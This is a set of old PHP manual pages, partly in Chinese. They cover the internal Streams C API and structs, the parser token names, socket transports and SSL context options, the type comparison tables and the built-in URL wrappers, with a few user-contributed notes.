php_stream_sock_open_unix -- Open a Unix domain socket and convert into a stream

Description

php_stream * php_stream_sock_open_unix ( const char * path, int pathlen, int persistent, struct timeval * timeout )

php_stream_sock_open_unix() attempts to open the Unix domain socket specified by path. pathlen specifies the length of path. If timeout is not NULL, it specifies a timeout period for the connection attempt. persistent indicates if the stream should be opened as a persistent stream. Generally speaking, this parameter will usually be 0.

注: This function will not work under Windows, which does not implement Unix domain sockets. A possible exception to this rule is if your PHP binary was built using cygwin. You are encouraged to consider this aspect of the portability of your extension before it's release.

注: This function treats path in a binary safe manner, suitable for use on systems with an abstract namespace (such as Linux), where the first character of path is a NUL character.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_sock_open_host | 上一级 | Streams Structures


php_stream_stat

(no version information, might be only in CVS)

php_stream_stat -- Gets the status for the underlying storage associated with a stream

Description

int php_stream_stat ( php_stream * stream, php_stream_statbuf * ssb )

php_stream_stat() examines the storage to which stream is bound, and returns information such as file size, access and creation times and so on. The return value is 0 on success, -1 on error. For more information about the information returned, see php_stream_statbuf.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_stat_path | 上一级 | php_stream_open_wrapper


php_stream_stat_path

(no version information, might be only in CVS)

php_stream_stat_path -- Gets the status for a file or URL

Description

int php_stream_stat_path ( char * path, php_stream_statbuf * ssb )

php_stream_stat_path() examines the file or URL specified by path and returns information such as file size, access and creation times and so on. The return value is 0 on success, -1 on error. For more information about the information returned, see php_stream_statbuf.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Streams Common API Reference | 上一级 | php_stream_stat


php_stream_tell

(no version information, might be only in CVS)

php_stream_tell -- Determine the position of a stream

Description

off_t php_stream_tell ( php_stream * stream )

php_stream_tell() returns the internal position of stream, relative to the start of the stream. If there is an error, -1 is returned.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_seek | 上一级 | php_stream_copy_to_stream


php_stream_write

(no version information, might be only in CVS)

php_stream_write -- Write a number of bytes from a buffer to a stream

Description

size_t php_stream_write ( php_stream * stream, const char * buf, size_t count )

php_stream_write() writes count bytes of data from buf into stream.

php_stream_write() returns the number of bytes that were written successfully. If there was an error, the number of bytes written will be less than count.

The internal position of the stream is advanced by the number of bytes that were written, so that subsequent writes will continue writing from that point.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_read | 上一级 | php_stream_eof


php_unregister_url_stream_wrapper

(no version information, might be only in CVS)

php_unregister_url_stream_wrapper -- Unregisters a wrapper from the Streams API

Description

int php_unregister_url_stream_wrapper ( char * protocol, TSRMLS_DC )

php_unregister_url_stream_wrapper() unregisters the wrapper associated with protocol.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_register_url_stream_wrapper | 上一级 | php_stream_open_wrapper_ex


Streams as Resources

All streams are registered as resources when they are created. This ensures that they will be properly cleaned up even if there is some fatal error. All of the filesystem functions in PHP operate on streams resources - that means that your extensions can accept regular PHP file pointers as parameters to, and return streams from their functions. The streams API makes this process as painless as possible:

例子 44-2. How to accept a stream as a parameter

PHP_FUNCTION(example_write_hello)
{
    zval *zstream;
    php_stream *stream;

    if (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &zstream))
        return;

    php_stream_from_zval(stream, &zstream);

    /* you can now use the stream.  However, you do not "own" the
        stream, the script does.  That means you MUST NOT close the
        stream, because it will cause PHP to crash! */

    php_stream_write(stream, "hello\n");

    RETURN_TRUE();
}

例子 44-3. How to return a stream from a function

PHP_FUNCTION(example_open_php_home_page)
{
    php_stream *stream;

    stream = php_stream_open_wrapper("http://www.php.net", "rb", REPORT_ERRORS, NULL);

    php_stream_to_zval(stream, return_value);

    /* after this point, the stream is "owned" by the script.
        If you close it now, you will crash PHP! */
}

Since streams are automatically cleaned up, it's tempting to think that we can get away with being sloppy programmers and not bother to close the streams when we are done with them. Although such an approach might work, it is not a good idea for a number of reasons: streams hold locks on system resources while they are open, so leaving a file open after you have finished with it could prevent other processes from accessing it. If a script deals with a large number of files, the accumulation of the resources used, both in terms of memory and the sheer number of open files, can cause web server requests to fail. Sounds bad, doesn't it? The streams API includes some magic that helps you to keep your code clean - if a stream is not closed by your code when it should be, you will find some helpful debugging information in you web server error log.

注: Always use a debug build of PHP when developing an extension (--enable-debug when running configure), as a lot of effort has been made to warn you about memory and stream leaks.

In some cases, it is useful to keep a stream open for the duration of a request, to act as a log or trace file for example. Writing the code to safely clean up such a stream is not difficult, but it's several lines of code that are not strictly needed. To save yourself the trouble of writing the code, you can mark a stream as being OK for auto cleanup. What this means is that the streams API will not emit a warning when it is time to auto-cleanup a stream. To do this, you can use php_stream_auto_cleanup().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Streams Basics | 上一级 | Streams Common API Reference


Streams Socket API Reference

目录
php_stream_sock_open_from_socket -- Convert a socket descriptor into a stream
php_stream_sock_open_host -- Open a connection to a host and return a stream
php_stream_sock_open_unix -- Open a Unix domain socket and convert into a stream

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_fopen_temporary_file | 上一级 | php_stream_sock_open_from_socket


struct php_stream_dirent

(no version information, might be only in CVS)

struct php_stream_dirent -- Holds information about a single file during dir scanning

Description

php_stream_dirent
     char d_name[MAXPATHLEN]

d_name holds the name of the file, relative to the directory being scanned.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
struct php_stream_statbuf | 上一级 | struct php_stream_ops


struct php_stream_filter

(no version information, might be only in CVS)

struct php_stream_filter -- Holds filter properties and pointer to operations

Description

struct _php_stream_filter {
            php_stream_filter_ops *fops;
            void *abstract; /* for use by filter implementation */
            php_stream_filter *next;
            php_stream_filter *prev;
            int is_persistent;

            /* link into stream and chain */
            php_stream_filter_chain *chain;

            /* buffered buckets */
            php_stream_bucket_brigade buffer;
        } php_stream_filter;

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
struct php_stream_wrapper_ops | 上一级 | struct php_stream_filter_ops


struct php_stream_filter_ops

(no version information, might be only in CVS)

struct php_stream_filter_ops -- Holds member functions for a stream filter implementation

Description

typedef struct _php_stream_filter_ops {
            php_stream_filter_status_t (*filter)(
                    php_stream *stream,
                    php_stream_filter *thisfilter,
                    php_stream_bucket_brigade *buckets_in,
                    php_stream_bucket_brigade *buckets_out,
                    size_t *bytes_consumed,
                    int flags
                    TSRMLS_DC);

            void (*dtor)(php_stream_filter *thisfilter TSRMLS_DC);

            const char *label;
} php_stream_filter_ops;

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
struct php_stream_filter | 上一级 | Streams Constants


struct php_stream_ops

(no version information, might be only in CVS)

struct php_stream_ops -- Holds member functions for a stream implementation

Description

typedef struct _php_stream_ops {
             /* all streams MUST implement these operations */
             size_t (*write)(php_stream *stream, const char *buf, size_t count TSRMLS_DC);
             size_t (*read)(php_stream *stream, char *buf, size_t count TSRMLS_DC);
             int (*close)(php_stream *stream, int close_handle TSRMLS_DC);
             int (*flush)(php_stream *stream TSRMLS_DC);

             const char *label; /* name describing this class of stream */

             /* these operations are optional, and may be set to NULL if the stream does not
              * support a particular operation */
            int (*seek)(php_stream *stream, off_t offset, int whence TSRMLS_DC);
            char *(*gets)(php_stream *stream, char *buf, size_t size TSRMLS_DC);
            int (*cast)(php_stream *stream, int castas, void **ret TSRMLS_DC);
            int (*stat)(php_stream *stream, php_stream_statbuf *ssb TSRMLS_DC);
        } php_stream_ops;

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
struct php_stream_dirent | 上一级 | struct php_stream_wrapper


struct php_stream_statbuf

(no version information, might be only in CVS)

struct php_stream_statbuf -- Holds information about a file or URL

Description

php_stream_statbuf
     struct stat sb

sb is a regular, system defined, struct stat.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Streams Structures | 上一级 | struct php_stream_dirent


struct php_stream_wrapper

(no version information, might be only in CVS)

struct php_stream_wrapper -- Holds wrapper properties and pointer to operations

Description

struct _php_stream_wrapper  {
            php_stream_wrapper_ops *wops;   /* operations the wrapper can perform */
            void *abstract;                 /* context for the wrapper */
            int is_url;                     /* so that PG(allow_url_fopen) can be respected */

            /* support for wrappers to return (multiple) error messages to the stream opener */
            int err_count;
            char **err_stack;
        } php_stream_wrapper;

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
struct php_stream_ops | 上一级 | struct php_stream_wrapper_ops


struct php_stream_wrapper_ops

(no version information, might be only in CVS)

struct php_stream_wrapper_ops -- Holds member functions for a stream wrapper implementation

Description

typedef struct _php_stream_wrapper_ops {
            /* open/create a wrapped stream */
            php_stream *(*stream_opener)(php_stream_wrapper *wrapper, char *filename, char *mode,
                    int options, char **opened_path, php_stream_context *context STREAMS_DC TSRMLS_DC);
            /* close/destroy a wrapped stream */
            int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream TSRMLS_DC);
            /* stat a wrapped stream */
            int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb TSR$
            /* stat a URL */
            int (*url_stat)(php_stream_wrapper *wrapper, char *url, php_stream_statbuf *ssb TSRMLS_DC);
            /* open a "directory" stream */
            php_stream *(*dir_opener)(php_stream_wrapper *wrapper, char *filename, char *mode,
                    int options, char **opened_path, php_stream_context *context STREAMS_DC TSRMLS_DC);

            const char *label;

            /* Delete/Unlink a file */
            int (*unlink)(php_stream_wrapper *wrapper, char *url, int options, php_stream_context *context TSRMLS_DC);
        } php_stream_wrapper_ops;

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
struct php_stream_wrapper | 上一级 | struct php_stream_filter


Streams Structures

目录
struct php_stream_statbuf -- Holds information about a file or URL
struct php_stream_dirent -- Holds information about a single file during dir scanning
struct php_stream_ops -- Holds member functions for a stream implementation
struct php_stream_wrapper -- Holds wrapper properties and pointer to operations
struct php_stream_wrapper_ops -- Holds member functions for a stream wrapper implementation
struct php_stream_filter -- Holds filter properties and pointer to operations
struct php_stream_filter_ops -- Holds member functions for a stream filter implementation

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_sock_open_unix | 上一级 | struct php_stream_statbuf


解析器代号列表

PHP 手册
后退 前进

附录 P. 解析器代号列表

PHP 语言的不同部分在内部被表示为类似 T_SR 的类型。PHP 在解析错误时输出这样的标识符，例如 "Parse error: unexpected T_SR, expecting ',' or ';' in script.php on line 10."。

应该知道 T_SR 的含义。对于所有不知道的人，下表列出了这些标识符，PHP 语法和在手册中适当位置的参考。

表格 P-1. 代号

代号 | 语法 | 参考
T_AND_EQUAL | &= | 赋值运算符
T_ARRAY | array() | array()，数组语法
T_ARRAY_CAST | (array) | 类型转换
T_AS | as | foreach
T_BAD_CHARACTER |  | 在 ASCII 32 之前除了 \t (0x09), \n (0x0a) 和 \r (0x0d) 以外的任何字符
T_BOOLEAN_AND | && | 逻辑运算符
T_BOOLEAN_OR | || | 逻辑运算符
T_BOOL_CAST | (bool) 或 (boolean) | 类型转换
T_BREAK | break | break
T_CASE | case | switch
T_CHARACTER |  |
T_CLASS | class | 类和对象
T_CLONE | clone | 类和对象。仅用于 PHP 5。
T_CLOSE_TAG | ?> 或 %> |
T_COMMENT | // 或 #，以及 PHP 5 下的 /* */ | 注释
T_CONCAT_EQUAL | .= | 赋值运算符
T_CONST | const |
T_CONSTANT_ENCAPSED_STRING | "foo" 或 'bar' | 字符串语法
T_CONTINUE | continue |
T_CURLY_OPEN |  |
T_DEC | -- | 递增/递减运算符
T_DECLARE | declare | declare
T_DEFAULT | default | switch
T_DIV_EQUAL | /= | 赋值运算符
T_DNUMBER | 0.12，等等 | 浮点数
T_DOC_COMMENT | /** */ | PHPDoc 风格的注释（仅用于 PHP 5）
T_DO | do | do..while
T_DOLLAR_OPEN_CURLY_BRACES | ${ | 复杂变量解析语法
T_DOUBLE_ARROW | => | 数组语法
T_DOUBLE_CAST | (real), (double) 或 (float) | 类型转换
T_ECHO | echo | echo()
T_ELSE | else | else
T_ELSEIF | elseif | elseif
T_EMPTY | empty | empty()
T_ENCAPSED_AND_WHITESPACE |  |
T_ENDDECLARE | enddeclare | declare，替代语法
T_ENDFOR | endfor | for，替代语法
T_ENDFOREACH | endforeach | foreach，替代语法
T_ENDIF | endif | if，替代语法
T_ENDSWITCH | endswitch | switch，替代语法
T_ENDWHILE | endwhile | while，替代语法
T_END_HEREDOC |  | heredoc 语法
T_EVAL | eval() | eval()
T_EXIT | exit 或 die | exit(), die()
T_EXTENDS | extends | extends，类和对象
T_FILE | __FILE__ | 常量
T_FOR | for | for
T_FOREACH | foreach | foreach
T_FUNCTION | function 或 cfunction | 函数
T_GLOBAL | global | 变量范围
T_IF | if | if
T_INC | ++ | 递增／递减运算符
T_INCLUDE | include() | include()
T_INCLUDE_ONCE | include_once() | include_once()
T_INLINE_HTML |  |
T_INT_CAST | (int) 或 (integer) | 类型转换
T_ISSET | isset() | isset()
T_IS_EQUAL | == | 比较运算符
T_IS_GREATER_OR_EQUAL | >= | 比较运算符
T_IS_IDENTICAL | === | 比较运算符
T_IS_NOT_EQUAL | != or <> | 比较运算符
T_IS_NOT_IDENTICAL | !== | 比较运算符
T_IS_SMALLER_OR_EQUAL | <= | 比较运算符
T_LINE | __LINE__ | 常量
T_LIST | list() | list()
T_LNUMBER | 123，012，0x1ac，等等 | 整型
T_LOGICAL_AND | and | 逻辑运算符
T_LOGICAL_OR | or | 逻辑运算符
T_LOGICAL_XOR | xor | 逻辑运算符
T_MINUS_EQUAL | -= | 赋值运算符
T_ML_COMMENT | /* 和 */ | 注释（仅用于 PHP 4）
T_MOD_EQUAL | %= | 赋值运算符
T_MUL_EQUAL | *= | 赋值运算符
T_NEW | new | 类和对象
T_NUM_STRING |  |
T_OBJECT_CAST | (object) | 类型转换
T_OBJECT_OPERATOR | -> | 类和对象
T_OLD_FUNCTION | old_function | old_function
T_OPEN_TAG | <?php, <? 或 <% | 从 HTML 转义
T_OPEN_TAG_WITH_ECHO | <?= or <%= | 从 HTML 转义
T_OR_EQUAL | |= | 赋值运算符
T_PAAMAYIM_NEKUDOTAYIM | :: | ::。也定义为 T_DOUBLE_COLON。
T_PLUS_EQUAL | += | 赋值运算符
T_PRINT | print() | print()
T_PRIVATE | private | 类和对象。仅用于 PHP 5。
T_PUBLIC | public | 类和对象。仅用于 PHP 5。
T_PROTECTED | protected | 类和对象。仅用于 PHP 5。
T_REQUIRE | require() | require()
T_REQUIRE_ONCE | require_once() | require_once()
T_RETURN | return | 返回值
T_SL | << | 位运算符
T_SL_EQUAL | <<= | 赋值运算符
T_SR | >> | 位运算符
T_SR_EQUAL | >>= | 赋值运算符
T_START_HEREDOC | <<< | heredoc 语法
T_STATIC | static | 变量范围
T_STRING |  |
T_STRING_CAST | (string) | 类型转换
T_STRING_VARNAME |  |
T_SWITCH | switch | switch
T_UNSET | unset() | unset()
T_UNSET_CAST | (unset) | （无文档; 类型为 NULL）
T_USE | use | （未实现）
T_VAR | var | 类和对象
T_VARIABLE | $foo | 变量
T_WHILE | while | while，do..while
T_WHITESPACE |  |
T_XOR_EQUAL | ^= | 赋值运算符
T_FUNC_C | __FUNCTION__ | 常量自 PHP 4.3.0 起
T_CLASS_C | __CLASS__ | 常量，自 PHP 4.3.0 起

参见 token_name()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 类型比较表 | 上一级 | 关于本手册


所支持的套接字传输器（Socket Transports）列表

PHP 手册
后退 前进

附录 N. 所支持的套接字传输器（Socket Transports）列表

目录
Internet 领域：TCP，UDP，SSL 和 TLS
Unix 领域：Unix 和 UDG

以下是 PHP 内置用于基于流的套接字函数例如 fsockopen() 和 stream_socket_client() 的各种 URL 风格的套接字传输器。这些传输器不适用于 Sockets 扩展库。

要得到自己的 PHP 版本中所安装的传输器列表，使用 stream_get_transports()。

Internet 领域：TCP，UDP，SSL 和 TLS

PHP 3，PHP 4，PHP 5。 ssl:// & tls:// 自 PHP 4.3 起可用。

sslv2:// & sslv3:// 自 PHP 5.0.2 起可用。

注: 如果没有指定传输器，则假定为 tcp://。

  • 127.0.0.1

  • fe80::1

  • www.example.com

  • tcp://127.0.0.1

  • tcp://fe80::1

  • tcp://www.example.com

  • udp://www.example.com

  • ssl://www.example.com

  • sslv2://www.example.com

  • sslv3://www.example.com

  • tls://www.example.com

Internet 领域套接字在目标地址中还期望有一个端口号。在 fsockopen() 中在第二个参数中指定，这样就不会影响传输器的 URL。然而在 stream_socket_client() 和相关的函数中是用传统的 URL，端口号在传输器 URL 后面以冒号分隔而指定。

  • tcp://127.0.0.1:80

  • tcp://[fe80::1]:80

  • tcp://www.example.com:80

带端口号的 IPv6 数字地址: 在上面的第二个例子中，IPv4 和主机名的例子只加了一个冒号和端口号，但 IPv6 的地址被放在方括号中：[fe80::1]。这是为了将 IPv6 地址中的冒号和用来分隔端口号的冒号区别开来。

ssl:// 和 tls:// 传输器（仅在 openssl 支持已编译入 PHP 后可用）是 tcp:// 传输器加入 SSL 加密后的扩展。在 PHP 4.3.0 中 OpenSSL 支持必须被静态编译入 PHP，在 PHP 5.0.0 中可以编译为模块或者静态的。

ssl:// 将根据远程服务器的兼容性和参数设置尝试与之建立 SSL V2 或 SSL V3 链接 sslv2:// 和 sslv3:// 将明确的选择 SSL V2 或 SSL V3 协议进行连接。

表格 N-1. ssl:// 和 tls:// 传输器的上下文选项（自 PHP 4.3.2 起）

名称 | 用法 | 默认值
verify_peer | TRUE 或 FALSE。用于 SSL 证书请求验证。 | FALSE
allow_self_signed | TRUE 或 FALSE。允许自签名的证书。 | FALSE
cafile | 本地文件系统中证书授权机构文件的位置，应和 verify_peer 上下文选项一起使用来认证远端的身份。 |
capath | 如果没有指定 cafile 或者如果该处没找到证书，则在 capath 指定的目录中搜索相配的证书。capath 必须是一个正确的被散列化的证书目录。 |
local_cert | 文件系统中本地证书文件的路径。必须是一个用 PEM 编码并包含你的证书和私人密钥的文件。可以选择包括发行者的证书链。 |
passphrase | 你的 local_cert 文件编码的 passphrase。 |
CN_match | 所期待的 Common Name。PHP 能进行有限的通配符匹配。如果 Common Name 与此不匹配，连接尝试会失败。 |

注: 因为 ssl:// 是 https:// 和 ftps:// 封装协议的底层传输器，适用于 ssl:// 的任何上下文选项也适用于 https:// 和 ftps://。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
加密过滤器 | 上一级 | Unix 领域：Unix 和 UDG


Unix 领域：Unix 和 UDG

unix:// 自 PHP 3 起可用，udg:// 自 PHP 5 起可用。

  • unix:///tmp/mysock

  • udg:///tmp/mysock

unix:// 提供了在 Unix 域中对套接字流连接的访问。udg:// 提供了替代的传输器以用户数据报协议（UDP）来访问 Unix 域套接字。

Unix 域套接字（UNIX Domain Socket），和 Internet Domain Socket 不同，不期望端口号。在 fsockopen() 中 portno 参数应被设为 0。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
所支持的套接字传输器（Socket Transports）列表 | 上一级 | PHP 类型比较表


PHP 类型比较表

PHP 手册
后退 前进

附录 O. PHP 类型比较表

以下的表格显示了 PHP 类型和比较运算符在松散和严格比较时的作用。该补充材料还和类型戏法的相关章节内容有关。同时，大量的用户注释和 BlueShoes 的工作也给该材料提供了帮助。

在使用这些表格之前，需要明白变量类型及它们的意义。例如，"42" 是一个字符串而 42 是一个整数。FALSE 是一个布尔值而 "false" 是一个字符串。

注: HTML 表单并不传递整数、浮点数或者布尔值，它们只传递字符串。要想检测一个字符串是不是数字，可以使用 is_numeric() 函数。

注: 在没有定义变量 $x 的时候，诸如 if ($x) 的用法会导致一个 E_NOTICE 级别的错误。所以，可以考虑用 empty() 或者 isset() 函数来初始化变量。

表格 O-1. 用 PHP 函数对 $x 的比较

表达式 | gettype() | empty() | is_null() | isset() | boolean : if($x)
$x = ""; | string | TRUE | FALSE | TRUE | FALSE
$x = NULL | NULL | TRUE | TRUE | FALSE | FALSE
var $x; | NULL | TRUE | TRUE | FALSE | FALSE
$x 尚未定义 | NULL | TRUE | TRUE | FALSE | FALSE
$x = array(); | array | TRUE | FALSE | TRUE | FALSE
$x = false; | boolean | TRUE | FALSE | TRUE | FALSE
$x = true; | boolean | FALSE | FALSE | TRUE | TRUE
$x = 1; | integer | FALSE | FALSE | TRUE | TRUE
$x = 42; | integer | FALSE | FALSE | TRUE | TRUE
$x = 0; | integer | TRUE | FALSE | TRUE | FALSE
$x = -1; | integer | FALSE | FALSE | TRUE | TRUE
$x = "1"; | string | FALSE | FALSE | TRUE | TRUE
$x = "0"; | string | TRUE | FALSE | TRUE | FALSE
$x = "-1"; | string | FALSE | FALSE | TRUE | TRUE
$x = "php"; | string | FALSE | FALSE | TRUE | TRUE
$x = "true"; | string | FALSE | FALSE | TRUE | TRUE
$x = "false"; | string | FALSE | FALSE | TRUE | TRUE

表格 O-2. 用 == 进行松散比较

 | TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php"
TRUE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE
FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE
1 | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE
0 | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | TRUE
-1 | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE
"1" | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE
"0" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE
"-1" | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE
NULL | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE
array() | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE
"php" | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE

表格 O-3. 用 === 进行严格比较

 | TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php"
TRUE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
1 | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
0 | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
-1 | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
"1" | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE
"0" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE
"-1" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE
NULL | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE
array() | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE
"php" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE

PHP 3.0 注意事项: 在 PHP 3 中，字符串 "0" 被认为是非空的，这个情况在 PHP 4 中发生了改变，它将被认为是空值。

add a note add a note User Contributed Notes
Jan
30-Dec-2005 03:23
Note that php comparison is not transitive:

"php" == 0 => true
0 == null => true
null == "php" => false
php [at] barryhunter [.] co [.] uk
08-Sep-2005 03:44
In case it helps someone, here's a table to compare different Variable tests (created before I found this page!)

http://www.deformedweb.co.uk/php_variable_tests.php
jerryschwartz at comfortable dot com
27-Jul-2005 04:04
In some languages, a boolean is promoted to an integer (with a value of 1 or -1, typically) if used in an expression with an integer. I found that PHP has it both ways:

If you add a boolean with a value of true to an integer with a value of 3, the result will be 4 (because the boolean is cast as an integer).

On the other hand, if you test a boolean with a value of true for equality with an integer with a value of three, the result will be true (because the integer is cast as a boolean).

Surprisingly, at first glance, if you use either < or > as the comparison operator the result is always false (again, because the integer as cast as a boolean, and true is neither greater nor less than true).
tom
17-Jun-2005 05:27
<?php
if (strlen($_POST['var']) > 0) {
   // form value is ok
}
?>

When working with HTML forms this a good way to:

(A) let "0" post values through like select or radio values that correspond to array keys or checkbox booleans that would return FALSE with empty(), and;
(B) screen out $x = "" values, that would return TRUE with isset()!

Because HTML forms post values as strings, this is a good way to test variables!

[[Editor Note: This will create a PHP Error of level E_NOTICE if the checked variable (in this case $_POST['var']) is undefined. It may be used after (in conjuection with) isset() to prevent this.]]
aidan at php dot net
24-Jan-2005 11:00
The way PHP handles comparisons when multiple types are concerned is quite confusing.

For example:
"php" == 0

This is true, because the string is casted interally to an integer. Any string (that does not start with a number), when casted to an integer, will be 0.
add a note add a note

后退 | 起点 | 前进
Unix 领域：Unix 和 UDG | 上一级 | 解析器代号列表


支持的协议／封装协议列表

PHP 手册
后退 前进

附录 L. 支持的协议／封装协议列表

目录
文件系统
Socket
HTTP 和 HTTPS
FTP 和 FTPS
PHP 输入／输出流
压缩流
Secure Shell 2
音频流

以下是 PHP 内置用于文件系统函数例如 fopen() 和 copy() 的 URL 风格协议列表。除了这些封装协议之外，从 PHP 4.3 起，还可以用 PHP 脚本和 stream_wrapper_register() 写自己的封装协议。

文件系统

所有版本的 PHP。自 PHP 4.3.0 以来明确使用 file://。

  • /path/to/file.ext

  • relative/path/to/file.ext

  • fileInCwd.ext

  • C:/path/to/winfile.ext

  • C:\path\to\winfile.ext

  • \\smbserver\share\path\to\winfile.ext

  • file:///path/to/file.ext

file:// 是 PHP 默认的描述本地文件系统的封装协议。指定相对路径 (相对路径名不开始于 /、\、\\ 或 Windows 盘符) 时，该路径是相对于当前的工作目录。在很多情况下工作目录就是当前执行的脚本所在的目录，除非它被改变。使用 CLI sapi 时，默认是调用该脚本时终端所处的目录。

某些函数，例如 fopen() 和 file_get_contents()，会自动搜索 include_path 作为相对路径。

表格 L-1. 封装协议摘要

属性 | 支持
受限于 allow_url_fopen。 | 否
允许读取 | 是
允许写入 | 是
允许附加 | 是
允许同时读写 | 是
支持 stat() | 是
支持 unlink() | 是
支持 rename() | 是
支持 mkdir() | 是
支持 rmdir() | 是

add a note add a note User Contributed Notes
opedroso at NOSPAMswoptimizer dot com
13-Apr-2006 02:07
php://input allows you to read raw POST data. It is a less memory intensive alternative to $HTTP_RAW_POST_DATA and does not need any special php.ini directives.

Example use:

$httprawpostdata = file_get_contents("php://input");

When reading a base64 encoded stream using php://input, be aware that you do not need to decode it, it will automatically be done for you.
nyvsld at gmail dot com
28-Nov-2005 02:28
php://stdin supports fseek() and fstat() function call,
while php://input doesn't.
drewish at katherinehouse dot com
25-Sep-2005 02:50
Be aware that contrary to the way this makes it sound, under Apache, php://output and php://stdout don't point to the same place.

<?php
$fo = fopen('php://output', 'w');
$fs = fopen('php://stdout', 'w');

fputs($fo, "You can see this with the CLI and Apache.\n");
fputs($fs, "This only shows up on the CLI...\n");

fclose($fo);
fclose($fs);
?>

Using the CLI you'll see:
  You can see this with the CLI and Apache.
  This only shows up on the CLI...

Using the Apache SAPI you'll see:
  You can see this with the CLI and Apache.
chris at free-source dot com
27-Apr-2005 03:52
If you're looking for a unix based smb wrapper there isn't one built in,  but I've had luck with http://www.zevils.com/cgi-bin/viewcvs.cgi/libsmbclient-php/ (tarball link at the end).
nargy at yahoo dot com
24-Sep-2004 06:16
When opening php://output in append mode you get an error, the way to do it:
$fp=fopen("php://output","w");
fwrite($fp,"Hello, world !<BR>\n");
fclose($fp);
aidan at php dot net
27-May-2004 06:34
The contants:

* STDIN
* STDOUT
* STDERR

Were introduced in PHP 4.3.0 and are synomous with the fopen('php://stdx') result resource.
lupti at yahoo dot com
29-Nov-2003 06:04
I find using file_get_contents with php://input is very handy and efficient. Here is the code:

$request = "";
$request = file_get_contents("php://input");

I don't need to declare the URL filr string as "r". It automatically handles open the file with read.

I can then use this $request string to your XMLparser as data.
sam at bigwig dot net
15-Aug-2003 11:02
[ Editor's Note: There is a way to know.  All response headers (from both the final responding server and intermediate redirecters) can be found in $http_response_header or stream_get_meta_data() as described above. ]

If you open an HTTP url and the server issues a Location style redirect, the redirected contents will be read but you can't find out that this has happened.

So if you then parse the returned html and try and rationalise relative URLs you could get it wrong.
add a note add a note

后退 | 起点 | 前进
资源类型列表 | 上一级 | Socket


音频流

ogg:// PHP 4.3.0 及更高版本 (PECL)

  • ogg://soundfile.ogg

  • ogg:///path/to/soundfile.ogg

  • ogg://http://www.example.com/path/to/soundstream.ogg

此封装器默认没有启用: 要使用 ogg:// 封装器，您必须安装 OGG/Vorbis 扩展。可用在 PECL 找到。

